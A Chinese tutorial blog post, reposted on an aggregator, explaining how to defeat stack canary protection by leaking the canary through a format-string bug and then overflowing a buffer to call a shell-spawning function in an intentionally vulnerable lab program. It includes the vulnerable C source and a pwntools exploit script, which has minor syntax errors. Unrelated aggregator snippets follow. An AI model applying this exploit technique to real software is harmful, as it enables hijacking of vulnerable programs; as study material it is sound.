借助格式化輸出過canary保護

0x01 canary保護機制

棧溢出保護是一種緩沖區溢出攻擊緩解手段,當函數存在緩沖區溢出攻擊漏洞時,攻擊者可以覆蓋棧上的返回地址來讓shellcode能夠得到執行。當啟用棧保護后,函數開始執行的時候會先往棧里插入cookie信息,當函數真正返回的時候會驗證cookie信息是否合法,如果不合法就停止程序運行。攻擊者在覆蓋返回地址的時候往往也會將cookie信息給覆蓋掉,導致棧保護檢查失敗而阻止shellcode的執行。在Linux中我們將cookie信息稱為canary。

0x02 溢出例子

整體思路:

找到溢出點,用我們的shellcode去覆蓋棧里面的數據,但添加了canary保護,直接覆蓋會把canary也覆蓋,導致程序不能執行,所以我們要找出canary,在覆蓋的時候,把canary放在payload里,canary覆蓋canary,這樣保證canary沒有被覆蓋,其他棧數據被覆蓋,就可以過canary保護了。

程序:

#include<stdio.h>
void exploit()
{system("/bin/sh");
}
void func()
{char str[16];read(0, str, 64);printf(str);read(0, str, 64);
}
int main()
{func();return 0;
}

利用棧溢出去執行exploit程序,編譯:

gcc -no-pie -fstack-protector  -m32 -o 5.exe 5.c

啟動了棧保護
在這里插入圖片描述
在func處下個斷點
在這里插入圖片描述
我們看到這個匯編語句,這里就是插入canary,將canary信息放到eax中,然后壓入棧中,這是在調用第一個read函數前插入的
在這里插入圖片描述
我們來看看eax值和壓入的canary信息在哪里:0xffffcffc
在這里插入圖片描述
記錄一下read函數把讀取的內容放在那個地址:0xffffcfec
在這里插入圖片描述
我們看一下buf內容和canary地址(0x2fe2d00)相差多少,buf再加上16個字節就到canary的地址了。
在這里插入圖片描述
查看exploit地址 0x80484cb
在這里插入圖片描述
查看func的ret語句,此時esp的值:0x8048554,地址為0xffffd00c,和canary相差16個字節

在這里插入圖片描述
我們要利用read棧溢出,去執行exploit函數,所以我們要覆蓋0xffffd00c這個地址數據,內容更換為exploit首地址,但是加了canary保護,我們在覆蓋的時候不能覆蓋掉canary信息。所以我們在覆蓋棧內數據的時候,canary還覆蓋成canary信息就行了。

但每次程序執行canary的值都不會相同,這又頭疼了,這個時候我們的格式化輸出就有用處了。我們可以將canary輸出來,然后動態加到我們payload中,這樣保證每次都是那個canary

我們可以找到canary距棧頂的距離,這個是不會變的,然后用格式化輸出就行了。
在這里插入圖片描述
利用read將printf要的數據輸進去,內容:"%11$08x",這樣printf就會打印距棧頂11個,就是44個byte,然后打印8個16進制數據,就是canary信息了

poc:

from pwn import *
p=process("./5.exe")
p.sendline("%11$08x")
canary=p.recv()[:8]
print(canary)
canary=canary.decode("hex")[::-1]	//將canary轉成16進制
coffset=4*4							//read函數距canary16個byte
roffset=3*4
raddr=p32(0x80484cb)		//exploit地址
payload=coffset*'a'+canary+roffset*'a'+raddrp.sendline(payload)p.interactive()

執行,成功
在這里插入圖片描述

0x04 總結

加了canary保護,在調用函數前,會加一個canary信息到棧里面,如果我們利用棧溢出覆蓋了棧里面的數據,覆蓋了這個canary信息,程序就不能執行。并且每次程序執行,這個canary信息都是不同的,所以我們不能靜態的加入到我們的payload里。

  1. 找到exploit函數地址
  2. 找到buf首地址距canary地址的距離,就是有溢出的地方,在棧里存放數據的首地址,與canary的距離
  3. 計算ret語句需要的棧數據與canary距離
  4. 當執行到格式化輸出語句時,查看當前棧里數據,計算canary與棧頂的距離(每4byte為1)
  5. 修改poc程序,執行

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/380110.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/380110.shtml
英文地址,請注明出處:http://en.pswp.cn/news/380110.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

什么叫灰度圖

任何顏色都有紅、綠、藍三原色組成&#xff0c;假如原來某點的顏色為RGB(R&#xff0c;G&#xff0c;B)&#xff0c;那么&#xff0c;我們可以通過下面幾種方法&#xff0c;將其轉換為灰度&#xff1a; 1.浮點算法&#xff1a;GrayR*0.3G*0.59B*0.11 2.整數方法&#xff1a;Gra…

各抓包軟件的之間差異_系統軟件和應用程序軟件之間的差異

各抓包軟件的之間差異什么是軟件&#xff1f; (What is Software?) Software is referred to as a set of programs that are designed to perform a well-defined function. A program is a particular sequence of instructions written to solve a particular problem. 軟件…

輸入一字符串,統計其中有多少個單詞(單詞之間用空格分隔)(java)

import java.util.*; class Example3{public static void main(String args[]){Scanner sc new Scanner(System.in);String s sc.nextLine();//這里的sc.nextLine&#xff08;&#xff09;空格也會記數&#xff1b;StringTokenizer st new StringTokenizer(s," ")…

為何苦命干活的人成不了專家?

所謂熟能生巧&#xff0c;但離專家卻有一個巨大的鴻溝&#xff0c;在農田干活的農民怎么也成不了水稻專家&#xff0c;推廣之&#xff0c;那些在本職工作上勤勤懇懇的人&#xff0c;在業務上總有一個不可沖破的瓶頸。 這種現象非常普遍&#xff0c;這就是為什么很多人很勤奮&am…

今天發布一個新網站www.heijidi.com

新網站發布了&#xff0c;歡迎訪問&#xff0c;關于國產機的 網站 www.heijidi.com 轉載于:https://www.cnblogs.com/liugod/archive/2008/03/26/1122753.html

ret2shellcdoe

ret2shellcode的關鍵是找到一個緩沖區&#xff0c;這個緩沖區是可讀寫寫可執行的&#xff0c;我們要想辦法把我們的shellcdoe放到這個緩沖區&#xff0c;然后跳轉到我們的shellcode處執行。 例子&#xff1a; #include <stdio.h> #include <string.h> char str1[…

stl取出字符串中的字符_從C ++ STL中的字符串訪問字符元素

stl取出字符串中的字符字符串作為數據類型 (String as datatype) In C, we know string basically a character array terminated by \0. Thus to operate with the string we define character array. But in C, the standard library gives us the facility to use the strin…

Object類的hashCode()方法

public class day11 {public static void main(String[] args) {Object obj1 new Object();int hashCode obj1.hashCode();System.out.println(hashCode);}} hashCode public int hashCode()返回該對象的哈希碼值。支持此方法是為了提高哈希表&#xff08;例如 java.util.Ha…

調整Tomcat上的參數提高性能[轉]

Webtop Performance Test w/ Tomcat(調整Tomcat上的參數提高性能) Login several users with one second between each login. After the 25th user, the users begin to experience poor performance, to the point where some users are receiving “Page cannot be display…

RecordSet中的open完全的語法

RecordSet中的open完全的語法是:SecordSet.Open Source,ActiveConnection,CursorType,LockType,Options例如&#xff1a; rs.open sql,conn,1,3CursorTypeadOpenForwardOnly 0 默認游標類型, 為打開向前游標, 只能在記錄集中向前移動。adOpenKeyset 1 打開鍵集類型的游標, 可以…

用篩選法求100之內的素數

#include <stdio.h> int main() {int i ,j ,a[100];//定義一個數組存放1~100&#xff1b;for(i2; i<100; i)//由于1既不是素數也不是質素&#xff0c;所以不用考慮1&#xff0c;直接從2開始&#xff1b;{a[i]i;//以次賦值&#xff0c;2~100&#xff1b;for(j2; j<i…

遠控免殺專題(20)-GreatSCT免殺

轉載&#xff1a;https://mp.weixin.qq.com/s/s9DFRIgpvpE-_MneO0B_FQ 免殺能力一覽表 幾點說明&#xff1a; 1、上表中標識 √ 說明相應殺毒軟件未檢測出病毒&#xff0c;也就是代表了Bypass。 2、為了更好的對比效果&#xff0c;大部分測試payload均使用msf的windows/mete…

Java LinkedList對象的get(int index)方法與示例

LinkedList對象的get(int索引)方法 (LinkedList Object get(int index) method) This method is available in package java.util.LinkedList.get(int index). 軟件包java.util.LinkedList.get(int index)中提供了此方法。 This method is used to retrieve an object or eleme…

Sql養成一個好習慣是一筆財富

我們做軟件開發的&#xff0c;大部分人都離不開跟數據庫打交道&#xff0c;特別是erp開發的&#xff0c;跟數據庫打交道更是頻繁&#xff0c;存儲過程動不動就是上千行&#xff0c;如果數據量大&#xff0c;人員流動大&#xff0c;那么我么還能保證下一段時間系統還能流暢的運行…

java上傳類

publicString doFormFile(FormFile file, String dir) { try { File f new File(dir); if (!f.exists()) { f.mkdir();//如果路徑不存在&#xff0c;創建 } InputStream in file.getInputStream(); …

C——用冒泡排序法、選擇排序法對隨機輸入的10個整數從小到大排序

//冒泡排序法 #include <stdio.h> int main() {int i,j,t,a[10];for(i0;i<10;i){scanf("%d",&a[i]);}for(i0;i<9;i)//10個數&#xff0c;進行9次循環&#xff0c;進行9趟比較{for(j0;j<9-i;j)//在每一趟比較中&#xff0c;進行9-i次比較{if(a[j]&…

遠控免殺專題(21)-HERCULES免殺

轉載&#xff1a;https://mp.weixin.qq.com/s/Rkr9lixzL4tiL89r10ndig 免殺能力一覽表 幾點說明&#xff1a; 1、上表中標識 √ 說明相應殺毒軟件未檢測出病毒&#xff0c;也就是代表了Bypass。 2、為了更好的對比效果&#xff0c;大部分測試payload均使用msf的windows/mete…

PHP Cookbook讀書筆記 – 第16章互聯網服務

發送電子郵件 書中主要是以PEAR中的郵件發送類&#xff08;Mail&#xff09;來講解的&#xff08;關于如何在WIN系統下安裝PEAR可以參考WIN下成功安裝PEAR&#xff09;。PEAR的MAIL類可以通過3種方式來發送電子郵件&#xff1a; 通過PHP內部的mail函數來發送 通過sendmail程序來…

Python | 使用matplotlib.pyplot創建條形圖

Problem statement: Using matplotlib.pyplot library in python draw a bar graph with two values for comparison, using different colors. 問題陳述&#xff1a;在python中使用matplotlib.pyplot庫使用不同的顏色繪制帶有兩個值的條形圖以進行比較。 Program: 程序&#…

SQLSERVER內核架構剖析

我們做管理軟件的&#xff0c;主要核心就在數據存儲管理上。所以數據庫設計是我們的重中之重。為了讓我們的管理軟件能夠穩定、可擴展、性能優秀、可跟蹤排錯、可升級部署、可插件運行&#xff0c;我們往往研發自己的管理軟件開發平臺。我們總是希望去學習別人的開發平臺&#…